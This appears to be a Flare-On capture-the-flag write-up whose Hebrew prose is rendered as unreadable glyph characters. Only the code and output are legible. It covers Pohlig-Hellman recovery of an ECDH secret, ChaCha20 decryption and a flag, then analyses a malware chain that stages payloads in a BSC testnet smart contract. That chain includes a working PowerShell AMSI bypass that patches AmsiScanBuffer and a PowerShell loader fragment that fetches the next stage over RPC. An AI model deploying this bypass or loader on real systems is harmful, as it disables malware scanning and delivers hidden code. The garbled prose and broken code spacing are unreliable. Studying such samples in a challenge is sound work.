 P0 = quotient_n * P 
 Gs.append(G0)  
 Ps.append(P0)  
 k = G0.discrete_log(P0)  
 subsolutions.append(k)  
 subgroup.append(p ^ e) # k the order of G0  
print ( "Running CRT..." )  
k = crt(subsolutions, subgroup)  
print ( hex(k))  
 
for x in range ( 2** 16):  # Brute - force over 1 6 bits  
    candidate_key = k + x * m 
    P_candidate = candidate_key * G 
    if P_candidate == P:  
        print ( f "Found the key: { hex(candidate_key)}" )  
        break  

˫˩˯˞ ˟ˣ˷ ˢˬ ˣˮ˧˷˰ π ˣˮ˲˵˸ ˸˶ˤ˰˟ Pohlig-Hellman Algorithm ˸˞ ˷ˣˬ˧ˬˢ Σ˭ˣˣ˧˩ ˶ˡ˯˷ ˶ˣ˦˶ˮˠˢ ˞ˣˢ 

˶˲˯ˬ ˦˰ˬ˩ ˵˪˥ Σˣˮ˥˪˴ˢ ˞˧˴ˣˢ˪ ˸˞ ˥˸˲ˬˢ ˣ˪ˣˡˣˬ ˸˪˲˩ˬ ˧˶ˡ˯ ˸ˣˬˣ˵˰ˢ ˸ˣ˧˦˲˧˪˞ˢ ˧ˡ˩ˣ ˞˧˴ˣˢ˪ ˸˞ 

˥˸˲ˬˢ ˞˪ˬˢ ˣˮ˧˷˰ ˯˶ˣ˲˦ˣ˶˟ ˪˰ ˫˧˦˧˟ˢ ˣ˶˸ˣˮ˷ ύ˨˯ ˪˩ˢ мс ˫˧˦˧˟ όˡ˰ ˣˮ˪˟˧˵˷ ˸˞ ˮ˸ˡˣ˵ ˥˸˲ˬˢ 

˧˶ˣ˟˧˴ˢ Σ˟ˣ˷ Σ˧ˮ˞ ˞˪ ˨˪ˣˢ ˯ˮ˩˧ˢ˪ ˶˸ˣ˧ ˧ˡˬ ˣ˦˲˧˶˵˪ Σ˳˧˪ˬˬ ˫ˣ˥˟ ˪˰ ˶ˬ˞ˬˢ ˧ˮ˞˷ ˨˧˷ˬˬ ˶˧˩ˤˢ˪Φ 
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ˢˬ ˣ˧˷˩˰ Κ˭˩˟ˣ ˣˮ˥˪˴ˢ ˶ˤ˥˷˪ ˸˞ ˸ˣ˥˸˲ˬˢ ˫˧˧˦˶˲ˢ ˣ˷ˬˣ˷˷ ˢ˶ˣ˟˰˸˟ ˸ˮ˲˴ˣˬˢ ύ˧˸˧ˮ˧˩ ˫˸ˣ˞ ˯˧˪˞ 

˟ˣ˟ˣ Φό˟ˣ˶˪ ˢˡˣ˵ˮˢ ˟πexchanges ˢ˪˞˩ ˞˧ˢ ˰˧ˠˢ˪ ˪πshared secret ˣˮˬˬ˷ ˶˷˲˞ ˶ˣˤˠ˪ ˥˸˲ˬ ˢˮ˲˴ˢ˪ 

˸˧˶˦ˬ˧˯ Σ˧˲˩ ˫ˠ˷ ˶˩ˤˣˬ ˶ˬ˞ˬ˟ Φ˥˸˲ˬˢ ˷ˬ˧˷˷ ˢˮ˲˴ˢ˪ ˟˧˧˥ ˶ˤˠ˧ˢ˪ ˢˬπshared secret ˧˩ ˢˤ ˨˶˰ˢ 

˧ˡˣ˯ˢ ˡ˧˥˧ˢ ˷˧˷ ˧ˮ˷˪ ˫˧˲˸˸˷ˬˢ ˶ˤˠˮ˷ˣ ˸ˣ˶˧˷˧ ˢˬπexchange ˫ˢ˧ˮ˧˟ Φ 

π˟ECDH ˫˧˰˧ˠˬ ˪πshared secret ˥˸˲ˬˢ˷˩ ˧˦˶˲ˢ ˪˷ ˡ˥˞ ˪˲˩ˣˬ ˥˸˲ˬ˟ ˧˶ˣ˟˧˴ˢ ˪˷ ˶˥˞ˢ Φˤ˞ 

˧˸˲˯ˣˢ ˸˞ ˸ˣ˶ˣ˷ˢ ˸ˣ˞˟ˢ ˦˲˧˶˵˯˪ ˫ˡˣ˵ˢ ˧˪˷Υ 

alice_private_key = 0x7ed85751e7131b5eaf5592718bef79a9  
bob_private_key = 0x73a3e816c7642f57e6bd4c6079a19d64  
shared_secret_alice = alice_private_key * bob_pub 
print ( f "Shared secret from Alice's side: {shared_se cret_alice}" )  
shared_secret_bob = bob_private_key * alice_pub  
print ( f "Shared secret from Bob's side: {shared_secret_bob}" )  
if shared_secret_alice == shared_secret_bob:  
    print ( "Shared secret verified, both sides are equal!" )  
else :  
    print ( "Mismatch in shared secret, something went wrong!" )  

 

 ˨˩ ˧˸˞ˡ˧ˣ ˧ˮ˞˷ ˵ˡˣ˴ Φ˪˟˵ˮ ˸˞ ˦˪˲ˢΥ 

Shared secret from Alice's side: ( 92859331894585873603709964099... : 
38069232743918642383221783146283078920... : 1)  
Shared secret from Bob's side: ( 9285933189458587360370996409965... : 
38069232743918642383221783146283078920... : 1)  
Shared secret verified, both sides are equal!  

˭˧˞ ˧˪ ˠ˷ˣˬ ˢˬ ˢˤ sπм ˢˤˢ ˱ˣ˯˟ Σ˪˟˞ ˪˩˟ ˢ˶˵ˬ Φ˶˷˲˞ ˸ˣ˞˶˪ ˫˧˟ˣ˷˧˥ˢ˷ ˣˮ˪˷ ˫˧ˮˣ˩ˮ Φˢˬ ˣ˧˷˩˰ Κ

˨˶ˡ˟ ˪˪˩ ˡ˥˞ ˫˧˩˶˰ˢ ύ˨˶ˡ˟ ˪˪˩ ˨˶˰ X ό˶˟ˣ˰ hash ˣˮˬˬˣ ˫˧˥˵ˣ˪ ˫˧˩˶˰ ˢˮ˲˴ˢ˪ ύ˥˸˲ˬ ˪˩ˣ ˶˞˷ˢ ˧˲˪ 

˨˶ˣ˴ˢ Φόˤ˞ ˨ˣ˯˥˞ ˫˩ˬ ˸ˣˮˣˬ˸ ˧˪˷ ˠ˟ˡˬ π ˢˤ ˥˵ˣ˪ ˸˞ ˨˶˰ sπx Φˢˤ ˢ˧ˢ ˧l ˪˵ ˞ˣ˴ˬ˪ Φ 

˸˞ ˸˦˧˷ ˢˮ˲˴ˢˢ ˢ˧ˢ ˦˰ˬ ˢ˷˵ ˶˸ˣ˧ ˞ˣ˴ˬ˪ Φ˫ˣ˵ˬ˟ ˠ˟ˡ˪ ˦ˣ˷˲ ˧˸˷˲˧˥ ˢ˧˴˪˧˲ˬˣ˵˧ˡ˟ ˡ˰ ˧˸˞˴ˬ˷ Σ

ChaCha20 ˭˟ˣˬ˩ Σ˧˸˧˧ˢ ˨˧˶˴ ˷˥ˮ˪ Φ˷˧ ˫˧˵˪˥ ˸ˬ˞˟˷ ˧˸˷˥˧ˮ π ˭ˬ ˫˸˯ˢ ˢˤ˷ ˞˪ ˥˵ˣ˪ ˸˞ ˨˶˰ sπx ˧˲˩ 

˞ˣˢ˷ Σˢ˷˰ˮ ˣ˧˪˰ hash ˧ˮ˲˪ ˞ˣˢ˷ ˷ˬˣ˷ˬ ˢˮ˲˴ˢ˪ Φˢ˪˞˷ˢ ˢˤ˧˞ hash Φ˭˞˩ ˦ˣ˷˲ ˧˸˷˥˧ˮ Φ 

˟ˣ˶˪ ˫˧˷ˣ˰ SHA ˪˟˞ нрс ˢˤ ˭˦˵ ˧ˡˬ ˪πChaCha20 ˤ˞ ˧˸˦˪˥ˢ ˷˥ˮ˪ ˢˤ˷ SHA512 Φˢˤ˧˞ ˫˧˸˟ ˫ˢ 

˥˸˲ˬˢ Σˢˤ˧˞ ˫ˢˬ sπnonce ύˢˬˣ ˨˶ˣ˞ sπnonce όπ  ˫ˠ ˸˞ ˪˩ ˢ˪˞ ˧˸˷˥˧ˮ Σ˸˶˦˷ˬ ˫˧˷ˣ˥˧ˮˢ ˨˶ˡ˟ 

˶ˣ˴˰˪ ˧˸ˣ˞Η 

˭ˬ ˫˸˯ˢ ˞˪˷ ˧˸˰˪˵ ˫˰˲˟ ˢˮˣ˷˞˶ˢ ύ˫ˠˣ ˞˪ ˢ˧˧ˮ˷ˢ Σ˪˟˞ ˧˧ˢ ˧ˬ ˶˲ˣ˯ ό˱ˣ˯˟ ˧˸˰ˠˢ ˦˲˧˶˵˯˪Υ 

from Crypto.Cipher import ChaCha20 
import hashlib  
with open( "dump", "rb" ) as f:  
  ciphertext = f.read()  
password = bytes .fromhex( "3c54f90f4d2cc9c0b62df2866c2b4f0c5afae8136d2a1ed.. ." ) 
# shared secret x converted to hex  
out = hashlib.sha512(password).digest()  
key = out[ 0: 32]  
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nonce = out[ 32: 32+8]  
cipher = ChaCha20.new(key=key, nonce=nonce)  
plaintext = cipher.decrypt(ciphertext)  
print (plaintext.decode())  

˧˸˶˴˧ ˳˟ˣ˵ ˫˷˟ dump ˪˧˩ˬˢ ˸˞ ˪˩ ˭˩ˣ˸ˢ ˭˲˴ˣˬˢ ˰˧˲ˣˬ˷ ˡ˧ˬ ˧˶˥˞ sπkey exchange ύ˸˞ˤ ˸˶ˬˣ˞ 

˧˶˥˞ пϝпу ˫˧˸˟ˢ ˫˧ˮˣ˷˞˶ˢ ˧˸˴˶ˢˣ ˸˞ ˦˲˧˶˵˯ˢ Υ 

 

˥ˮ˰˲ˮ ˸˞ sπbaseсп ˱ˣ˯˟˷ ˪˟˵ˮˣ ˸˞ ˪ˠˡˢΥ 

D0nt_U5e_y0ur_Own_CuRv3s@flare-on.com 

 

ˢ˶ˠ˸˞ ˧ˮ˧ˬ˷ˢ π Clearlyfake 

˶ˠ˸˞˟ ˪˟˵ˮ ˳˟ˣ˵ js ˞ˣˢ˷ obfuscated Σ˯˧ˮ˩ˮ ˣ˸ˣ˞ ˢˬ˩˪ deobfuscators ˞˴ˬˮ˷ ˸˷˶˟ Σ˸˧˲˧˴˲˯ ˢ˪˞Υ 

https://deobfuscate.io/  

https://obf -io.deobfuscate.io/ 

https://deobfuscate.relative.im/ 

https://lelinhtinh.github.io/de4js/ 

 

ˢ˷ˣ˪˷ˢ ˫˧ˮˣ˷˞˶ˢ ˣ˪˧˟ˣ˧ ˡˣ˵˪ eval - ˡˣ˵ ˶˸˞ˢ˷ ˭ˣ˶˥˞ˢ ˪ˣ˩˧ ˥ˮ˰˲˪ ˫˞ ˵˶ ˶˥˟ˮ eval ˸ˣ˧ˣ˶˷˲˞˟ .

˶˥˞˪ ˨˧˪ˢ˸ˢ ˢˤˢ ˡˣ˵ˢ ˣˮ˪˷ ˢ˞˶˧ ˨˩: 

const Web3 = require ( "web3" );  
const fs = require ( "fs" );  
const web3 = new Web3( "BINANCE_TESTNET_RPC_URL");  
const contractAddress = "0x9223f0630c598a200f99c5d4746531d10319a569" ;  
async function callContractFunction (inputString) {  
    try {  
        const methodId = "0x5684cff5" ;  
        const encodedData = methodId + web3.eth.abi. encodeParameters ([ "string" ], 
[inputString]). slice ( 2);  
        const result = await web3.eth. call ({  

https://deobfuscate.io/
https://obf-io.deobfuscate.io/
https://deobfuscate.relative.im/
https://lelinhtinh.github.io/de4js/
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            to: contractAddress,  
            data: encodedData  
        });  
        const largeString = web3.eth.ab i. decodeParameter ( "string" , result);  
        const targetAddress = Buffer. from (largeString, "base64" ). toString ( "utf - 8" );  
        const filePath = "decoded_output.txt" ;  
        fs. writeFileSync (filePath, "$address = " + targetAddress + " \ n" );  
        const new_methodId = "0x5c880fcb" ;  
        const blockNumber = 43152014;  
        const newEncodedData = new_methodId + 
web3.eth.abi. encodeParameters ([ "address" ], [targetAddress]). slice ( 2);  
        const newData = await web3.eth. call ({  
            to: contractAdd ress,  
            data: newEncodedData  
        }, blockNumber);  
        const decodedData = web3.eth.abi. decodeParameter ( "string" , newData);  
        const base64DecodedData = Buffer. from (decodedData, "base64" ). toString ( "utf - 8" );  
        fs. writeFileSync (fi lePath, decodedData);  
        console. log (`Saved decoded data to:${filePath}`)  
    } catch (error) {  
        console. error ( "Error calling contract function:" , error)  
    }  
}  
const inputString = "KEY_CHECK_VALUE";  
callContractFunction (inputString);  

 

˥˞˧˶ ˸˴˵ ˭˧ˡ ˫˧˶˟ˡˣ ˫˰ GPT ˶˟˯ˣˢ ˧˪ ˶˟ˣˡˬ˷ ˡˣ˵˟ ˶ˣ˷˵˷ ˪πSmart contract Φ˫ˠ ˡ˟˰˧ˡ˟ Σ˭˧˞ ˧˪ 

˸ˬ˞˟ ˳ˬ˷ ˢˬ ˢˤ ˶ˬˣ˞Φ ˸ˬ˞ˢ ˫ˠ˷ ˭ˬˤ˟ ˸ˬ˞ ˧˸˯˥˧˧˸ˢ ˢˤ˪ ˢ˯˲ˣ˵˩ ˢ˶ˣ˥˷ ˫ˠˣ ˭ˣ˶˸˲˟ ˢˤ ˯˥˧˧˸˞ 

ˢˤ˪ ˨˩Φ 

 

˧ˡ˩ ˳˧˶ˢ˪ Σ˷ˬ˸˷ˮ ˟πnode ˪˟˞ ˡˣ˵ˢ ˨˧˶˴ ˶ˣ˟˰˪ ˢˬ˩ ˫˧˧ˣˮ˧˷Υ 

ˢ˶ˣ˷ˢ ˢˮˣ˷˞˶ˢ ˸˨ˣ˲ˢ ˪Υ 

const Web3 = require ( 'web3' ).default;  

˸˶˥˞ node ˦ˣ˷˲ ˟˶˯ˬ ˳˧˶ˢ˪ ˸˞ ˡˣ˵ˢ ˢˤˢΦ 

ˢ˶ˣ˷˟ ˸˧˷˧˪˷ˢ ˫ˣ˵ˬ˟ ˸ˤˣ˶˥ˬˢ BINANCE_TESTNET_RPC_URL ˭˸˧ˮ ˸˶˷ ˢˬˠˣˡ˪ Φ˧˸˞˴ˬ ˫˧˸˶˷ 

ˢ˪˞˩ ˦ˣ˷˲ ˪˰ ˧ˡ˧ ˷ˣ˲˧˥ BINANCE TESTNET RPC URLΥ 

const web3 = new Web3("https://bsc - testnet - rpc.publicnode.com" );  

˭˟ˣˬ˩ ˪˰˷ ˸ˮˬ ˳˧˶ˢ˪ ˨˶˦˴ˮ ˫ˠ ˭˧˵˸ˢ˪ Web3 ˪˰ ˧ˡ˧ ˢˡˣ˵˲ˢ: 

npm install web3  

˟˪˷ˢ ˞˟ˢ ˢˤ ˞ˣ˴ˬ˪ ˸˞ ˨˶˰ sπinputString ˭ˣ˩ˮˢ Φ˭˸˧ˮ ˸ˣ˞˶˪ ˞ˣˢ˷ ˷ˬˣ˷ˬ ˢ˪˥˸ˢ˟ ˢ˞˧˶˵˟ ˧ˢ˷ˤ˧˞˪ 

ˢ˪ˣ˰˲ ˸˞˶ˣ˵˷ ˢ˪ˣ˰˲˪ ˨ˣ˸ˬ ˢˤˣ˥ˢ Φˤ˞ ˟˪˷˟ ˢˤˢ ˧˸ˡˬ˪ ˨ˣ˸ ˧ˡ˩ ˢ˰ˣˮ˸ ˶˶˟˸ˬˣ ˶˷˲˞˷ ˸ˣ˷˰˪ 

ˢ˧˧˴˪˲ˬˣ˵˧ˡ ύx˞ ˧˪˟ˬ˯˞˯˧ˡ ˪˩˪ ˸ˣ˥˲ˢ ό˪˩˪ ˢˤˣ˥ ˢˤ˩ ˞ˣˢˣ ˪˧˩ˬ ˡˣ˵ Φˢ˶˵ˬ˟ ˣˮ˪˷ ˶˷˲˞ ˸ˣ˞˶˪ 

˸˞˶˵ˮ˷ ˢ˪ˣ˰˲ˢ 0x5684cff5 Φ˧˶˥˞ ˫˧˷ˣ˲˧˥ ˫˧˟˶ ˧˶˥˞ ˶˪˧˧˲ˬˣ˵˧ˡ ˧˸˞˴ˬ ˸˞ ˶˪˧˧˲ˬˣ˵˧ˡˢ ˶˸˞˟ ˞˟ˢ 

ύ˷˶ˣˡ ˢˬ˷˶ˢ ˶˸˞˪Υό 

https://app.dedaub.com/decompile 

https://app.dedaub.com/decompile
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˪˟˞ ˰ˠ˶ Σˢˬ ˡˣ˵ˢ ˨˧˶˴˷ ˶ˣ˟˰˪ ˢ˧˴˪˧˲ˬˣ˵˧ˡ Σˤ˞ ˧ˡ˩ ˠ˧˷ˢ˪ ˣ˸ˣ˞ ˱˧˯ˣˮ ˸˞ ˢ˪ˣ˰˲ˢ ˢ˞˟ˢ ˡˣ˵˪ ˣˮ˪˷ 

˞˶˵ˮˣ ˢ˪Υ 

async function printContractBytecode () {  
  try {  
      const bytecode = await web3.eth. getCode(contractAddress);  
      console . log ( "Contract Bytecode:" , bytecode);  
  } catch (error) {  
      console . error ( "Error fetching contract bytecode:" , error);  
  }  
}  

 

˪˟˵ˮˣ ˸˞ ˡˣ˵ˢ ˪˷ ˢˤˣ˥ˢΦ ˫˰ ˡˣ˵ˢ ˣˮ˧ˡ˧˟ Σ˫˷˶˧ˮ ˶˸˞˪ ˢ˧˴˪˲ˬˣ˵˧ˡˢ ˣˮ˞˴ˬ˷ ˫ˡˣ˵ ˭˩˪ Σ˵˧˸˰ˮ ˣ˧˪˞ ˸˞ 

πsbytecode ˢˤˢ ˳˥˪ˮˣ decompile ˪˟˵ˮˣ ˸˞ ˡˣ˵ˢ ύ˶˶˟˸ˬ˷ ˟ˣ˸˩˷ ˢ˲˷˟ Solidity ό˞˟ˢΥ 
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˨˷ˬˢ ˡˣ˵ˢ ˞˪ ˢˮ˷ˬ ˣˮ˪ ˤ˞ ˞˪ ˱˶˴˞ ˣ˸ˣ˞ ˢ˲ Φ˫˞ ˪˩˸˯ˮ ˟ˣ˦ ˢ˞˶ˮ ˧ˮ˷˷ sπnibbles ˫˧ˮˣ˷˞˶ˢ ˪˩˟ 

˧˞ˮ˸ ˢ˞ˣˣ˷ˢ ˫ˢ ˢ˷˰ˬ˪ ˶˲˯ˬ ˪ˣ˩˧˷ ˠ˴˧˧˪ ˣ˸ ˧˵˯˞ Σ˧˸˩˪ˢ ˭ˣˣ˧˩˟ ˢˤˢ ˧˸˧˪˧ˠˣ ˸ˤˣ˶˥ˬˢ˷ ˢˤ˷ ˢ˲˴ˬ ˢ˪ 

˞˧ˢΥ 

giV 3_M3_p4yL04d!  

˫˞ ˫˧˷ˮ ˢ˸ˣ˞ ˟πinputString ˳˧˶ˮˣ ˸˞ ˡˣ˵ˢ js ˣˮ˪˷ ˸ˬ˞˟ ˢ˞˶ˮ ˢ˪ˣ˰˲ˢ˷ ˢ˶˧ˤ˥ˬΥ 

0x5324eab94b236d4d1456edc574363b113cebf09d  

˧˲˩ ˭˸˧ˮ˷ ˸ˣ˞˶˪ ˫ˠ ˡˣ˵˟ Φ˪˟˞ ˤ˞ ˡˣ˵ˢ ˯˶ˣ˵ Σ˸˪˟˵˸ˬ ˢ˞˧ˠ˷ Φˢ˞˶ˮ˩ ˪˪ˠ˟ ˢˤ˷ ˢ˯ˮˬ ˥ˮ˰˲˪ ˸˞ 

ˢ˞˴ˣ˸ˢ ˩πbase64 ˪˟˞ ˣˮ˥ˮ˞ ˫˧˞ˣ˶ ˶˟ˣˡˬ˷ ˨˯˟ ˪˩ˢ ˸˟ˣ˸˩˟ Φ˟ˣ˷ ˧˸˰˵˸ˮ Φˢˬ ˢˤ ˢ˴ˣ˶ ˧ˮˬˬ Κˤ˞ 

˶˶˟˸ˬ ˷˧˷ ˡˣ˰ ˸ˣ˧˰˟ ˡˣ˵˟ Σ˪˟˞ ˡˣ˰ ˞˪ ˧˸˟˷˥ ˪˰ ˢˤ Σ˰ˠ˶˟ ˢˤˢ ˭ˬˤ˟ ˧˸˦˪˥ˢ ˫ˡ˵˸ˢ˪ ˢ˞˪ˢ ˡˣ˵˟ 

ˢ˶ˣ˴˟ ˸˧˦˦˯Φ˥˧ˮˮ ˪˟˵˸ˬ˷ ˦˪˲ ˭˧˵˸ ˶˷˲˞˷ ˡˣ˟˰˪ ˣ˸˧˞ Σ˶˥˞ ˨˩ ˸˞˶˵ˮ ˡˣ˰ ˢ˪ˣ˰˲ ˢ˶ˣ˞˩˪ ˢˤˣ˥˟ 

˧˶ˣ˵ˬˢ Φ˪˟˞ ˭˧˞ ˡˣ˰ ˸ˣ˪ˣ˰˲ ˸ˣ˧˦ˮˣˣ˪˶ ϥ˫ˠˣ ˢˬ ˰˦˵ˢ ˫˰ blockNumberΚ 

˧˟ˠ˪ ˶˲˯ˬ ˵ˣ˪˟ˢ ˶˶˟˸ˬ ˢˤ˷ ˧ˢ˷ˤ˧˞ ˨˶ˡ ˞ˣ˶˵˪ ˢ˪ˣ˰˲˪ ˫˰ context ˫˧ˣ˯ˬ Σ˧˪˟ˬ ˸ˣ˷˰˪ ˫˧˧ˣˮ˧˷ 

˫˧˷ˡ˥ ˴˵ˣ˪˟˟ϥ˭˧˧ Φ˞˪ ˧˸˵ˬ˰˸ˢ Σ˟ˣ˷ Φˢ˯˲ˣ˵ ˢ˶ˣ˥˷ ˧˸ˮ˧˥˟ˬ Σ˪˟˞ ˶ˣ˩ˤˮ ˸˞ ˦˶˲ˢ ˢˤˢ ˨˷ˬˢ˪ Σ˱˩˸ 

˷ˬ˸˷ˮ x˟Φ 

˧˟ˠ˪ ˢ˪ˣ˰˲ˢ Σ˥˵˪ ˢ˟˶ˢ ˭ˬˤ ˭ˣˬ˧˯˞˪ ˪ˣ˲˧˪ ˪˟˞ s˧˸ˮ˟ ˸˟ˣ˸˩ˢ˷ ˢ˶ˤˣˬˢ ˣˮ˪˟˧˵˷ ˞˧ˢ ˸˟ˣ˸˩ ˢˤˣ˥˪ 

˱˯ˣˮ ˤ˞ˣ ˢˤ ˧ˮˣ˧ˠˢ Σˢ˞˶ˮ˩ ˢ˪ˣ˰˲ˢ˷ ˸˞˶˵ˮ˷ ˞˧ˢ ˢˤˣ˥ˢˬ ˢˤˢ ˞˪ˣ ˢˤˣ˥ˢˬ ˧ˮˣ˷˞˶ˢ ˭˸˧ˮ˷ ˣˮ˪ Φ˟ˣ˷ 

˷ˬ˸˷ˮ ˡˣ˵˟ ˯˧˲ˡˬ˷ ˣˮ˪ ˸˞ sπbytecode ˪˷ ˢˤˣ˥ˢ ˯˧ˮ˩ˮˣ ˣ˸ˣ˞ ˶˪˧˧˲ˬˣ˵˧ˡ˪ ˣˮ˞˴ˬ˷Φ 
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˨˩ ˢ˞˶ˮ ˡˣ˵ˢ ˢ˪ˣ˰˲˪ ˸˞˶˵ˮ˷Υ 

function 0x5c880f cb() public payable {  
    v0 = 0x483(array_0.length);  
    v1 = new bytes[](v0);  
    v2 = v3 = v1.data;  
    v4 = 0x483(array_0.length);  
    if (v4) {  
        if ( 31 < v4) {  
            v5 = v6 = array_0.data;  
            do {  
                MEM[v2] = STORAGE[v5];  
                v5 += 1;  
                v2 += 32;  
            } while (v3 + v4 <= v2);  
        } else {  
            MEM[v3] = array_0.length >> 8 << 8;  
        }  
    }  
    v7 = new bytes[](v1.length);  
    MCOPY(v7.data, v1.data, v1.length);  
    v7[v1.length] = 0;  
    return v7;  
}  

 ˫˧˧˵˵ ˱˯ˣˮ ˡˣ˞˪˷ ˧˸˵˟ˡˢ ˢ˲, ˫˧˞ˣ˶ˣ ˫ˠ˷ ˞ˣˢ ˞˶ˣ˵ ˸ˣ˪ˣ˰˲˪ ˸ˣ˲˯ˣˮ Σ˨˞ ˫ˣ˞˸˲ ˧˸ˮ˟ˢΗ ˯ˮ˶˲˶ˢ 

˶˲˯ˬ˪ ˵ˣ˪˟ˢ ˢ˞˧˶˵˟ ˢ˪ˣ˰˲˪ ˤˬ˶ˬ ˣˮ˪ ˢ˪ˣ˰˲ˢ˷ ˸˞ˤˢ ˶˟˩ ˢ˞˶˵ˮ Φ˶˷˲˞ ˸ˣ˞˶˪ ˸˞ ˸ˣ˪ˣ˰˲ˢ ˣ˶˵˷ 

˴˵ˣ˪˟˟ϥ˭˧˧ ˢˤˢ ˸ˣ˰˴ˬ˞˟ ˷ˣ˲˧˥ Ϧbsc testnet explorerϦ ˪˧˟ˣ˧˷ ˣˮ˸ˣ˞ ˪˶ˣ˷˧˵ ˞˟ˢ ύx˞ ˫˧ˬˣˡ x˪όΣ ˸ˮˤˢˣ 

˸˟ˣ˸˩ ˢˤˣ˥ˢ ˷ˡ˥ˢ ˣˮ˪˷ ˸˶ˣ˷˪ ˷ˣ˲˧˥ˢ Φ 
 

˪˟˵ˮ ˸˞ ˢ˞˴ˣ˸ˢ ˢ˞˟ˢΥ 

 

https://testnet.bscscan.com/
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˭˸˧ˮ ˭˧˥˟ˢ˪ ˶ˣ˶˧˟˟ ˷˧˷ transaction ˡ˥˞ ˵ˣ˧ˡ˟ ˫˰ ˶˲˯ˬ ˵ˣ˪˟ˢ ˰˧˲ˣˬ˷ ˡˣ˵˟ ˣˮ˪˷ Σ˳˥˪ˮ ˪˰ sπ

transaction hash ˫˞ˣ˸ˢ Φ˱ˡ˟ ˥˸˲ˮ˷ ˪ˣ˪ˠˮ ˢ˦ˬ˪ ˢ˞˶ˮˣ ˸˞ ˰˦˵ˢ ˞˟ˢΥ 

 

˥˵˧ˮ ˸˞ sπinput data ˡˣ˟˧˰˪ ˧˪˩˟ ˟ˣˢ˞ˢ ˣˮ˧˪˰ Σ˭˧˟ ˫˞ ˢˤ ˡˣ˵˟ ˭ˣ˸˧˧˲ x˞ ˪˩˟ ˨˶ˡ ˸˶˥˞ Φ˧ˮ˞ ˸˧˷˧˞ 

˧˸˶˥˟ ˟πCyberChef ˧ˬ˰˦ˬ ˸ˣ˥ˣˮ Φˡ˟˰ˮ ˸˞ sπhex Φ˪˟˵ˮ 64base ˰˴ˬ˞˟ ˪˟˞ ˢ˯ˮˮ˷˩ ˥ˮ˰˲˪ ˣ˸ˣ˞ 

˪˟˵ˮ ˪˟ˤ Φˢ˟˧˯ˢ ˞˧ˢ ˞˪˷ ˣˮ˧˵˧ˮ ˭ˣ˩ˮ sπhex ˣˮ˪˷ Φˣˬ˧˷ ˟˪ ˷˧˷ ˦ˬ˶ˣ˲ ˫˧ˣ˯ˬ Φˢ˪˥˸ˢ˟ ˱ˣ˯˟ˣ ˷˧ 

˫˧˯˲˞ Φ˱ˣ˯˟ ˵˧˲˯ˬ ˶˧˯ˢ˪ ˸˞ ˫˧˯˲˞ˢ Σ˪˟˞ ˢ˪˥˸ˢ˟ ˧˶˥˞ ˫˧˯˲˞ˢ ˷˧ ˡˣ˰ ˨˶˰ Σˢ˞˶ˮ˩ ˢˤ˩ ˠ˴˧˧ˬ˷ 

˨˶ˣ˞ Σ˧ˮ˞ ˞˪ ˥ˣ˦˟ Φ˪˩˟ ˢ˶˵ˬ ˶˧˯ˮ ˸ˣ˶˧ˢˤ˟ ˠˣˤ nibbles ˢ˪˥˸ˢˢˬ ˡ˰ ˪˟˵ˮ˷ ˦˪˲ ˧ˮˣ˧ˠˢ Φˢ˶˵ˬ˟ ˢˤˢ 

˧˶˥˞ ˫˧˯˲˞ˢ ˧˸˧˧ˢ ˨˧˶˴ ˶˧˯ˢ˪ ˫ˠ ˸˞ мооп ˡ˧ˬ˷ ˧˶˥˞ ˫˧˯˲˞ˢ Φˢˤ ˢ˞˶ˮ ˢ˩˩Υ 

 

˧˲˩ ˭˸˧ˮ˷ ˸ˣ˞˶˪ ˣˮ˪˟˧˵ ˢˤ˧˞ ˦˲˧˶˵˯ powershell ˡˡˣ˵ˬ˷ ˟πbase64ΦΦΦ ˨˧˷ˬˮ ˵˧ˬ˰ˢ˪ Φ˫˰ ˸˴˵ ˢˡˣ˟˰ 

˸˧ˮˡ˧ ˸˴˵ˣ ˢ˶ˤ˰ ˬπGPT ˧˸˰ˠˢ ˦˲˧˶˵˯˪ ˞˟ˢΥ 

$code = @" 
using System;  
using System.Runtime.InteropServices;  
public class AmsiBypass {  
    [DllImport(" kernel32 ")]  
    public static extern IntPtr GetProcAddress (IntPtr hModule, string procName);  
    [ DllImport ( "kernel32" ) ]  
    public static extern IntPtr LoadLibr ary(string name ) ;  
    [ DllImport ( "kernel32" ) ]  
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint 
flNewProtect, out uint lpflOldProtect ) ;  

https://gchq.github.io/CyberChef/
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}  
"@ 
 
Add- Type $code  
 
$amsiDll = [AmsiBypass]:: LoadLibrary ( "amsi.dll" )  
$amsiScanBuffer  = [AmsiBypass]:: GetProcAddress ($amsiDll, "AmsiScanBuffer" )  
$oldProtect = 0 
[AmsiBypass]:: VirtualProtect ($amsiScanBuffer, [uint32] 5, 0x40, [ ref ]$oldProtect)  
 
$patch = [Byte[]] ( 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)  
[System.Runtime.InteropServices.Marshal]:: Copy($patch, 0, $amsiScanBuffer, $patch.Length)  

ˢ˞˶ˮ ˸˴˵ ˣˬ˩ amsi bypass ˪˟˞ ˞˪ ˥ˣ˦˟ ˨˧˞ ˢˤ ˶ˤˣ˰ ˣˮ˪ Φˤ˞ ˧˸˦˪˥ˢ ˶ˣ˟˰˪ ˪˰ ˪˩ sπtransactions ˷˧˷ 

ˢˤˣ˥˟ ˱ˣ˯˟ ˧˸˞˴ˬ ˟πtransaction ˰˧˲ˣˬ˷ ˧˩ˢ ˢ˪˰ˬ˪ Σˡˣ˰ ˦˲˧˶˵˯ Σˢ˧ˢ˷ obfuscated Φ˫˰˲ˢ ˧˸˥ˮ˰˧˲ 

ˣ˸ˣ˞ ˫˰ ˧˪˩ ˧˸˞˴ˬ˷ ˟πgithub ˫˷˟ PowerDecode ˸˞ˣˤ ˢ˞˴ˣ˸ˢΥ 

Set - Variable - Name testnet_endpoint - Value ( " " )  
Set - Variable - Name _body - Value 
( '{"method":"eth_call","params":[{"to":"$address","data":"0x5c880fcb"}, 
BLOCK],"id":1,"jsonrpc":"2.0"}' )  
Set - Variable - Name resp - Value ((Invoke - RestMethod - Method 'Post' - Uri $testnet_endpoint -
ContentType "application/json" - Body $_body) .result )  
 
# Remove the '0x' prefix  
Set - Variable - Name hexNumber - Value ($resp - replace '0x' , '' )  
# Convert from hex to bytes (ensuring pairs of hex  characters)  
Set - Variable - Name bytes0 - Value (0..($hexNumber.Length / 2 -  1) | ForEach- Object {  
    Set - Variable - Name startIndex - Value ($ _ * 2)  
    Set - Variable - Name endIndex - Value ($startIndex + 1)  
    [ Convert ] ::ToByte($hexNumber.Substring($startInd ex, 2), 16)  
})  
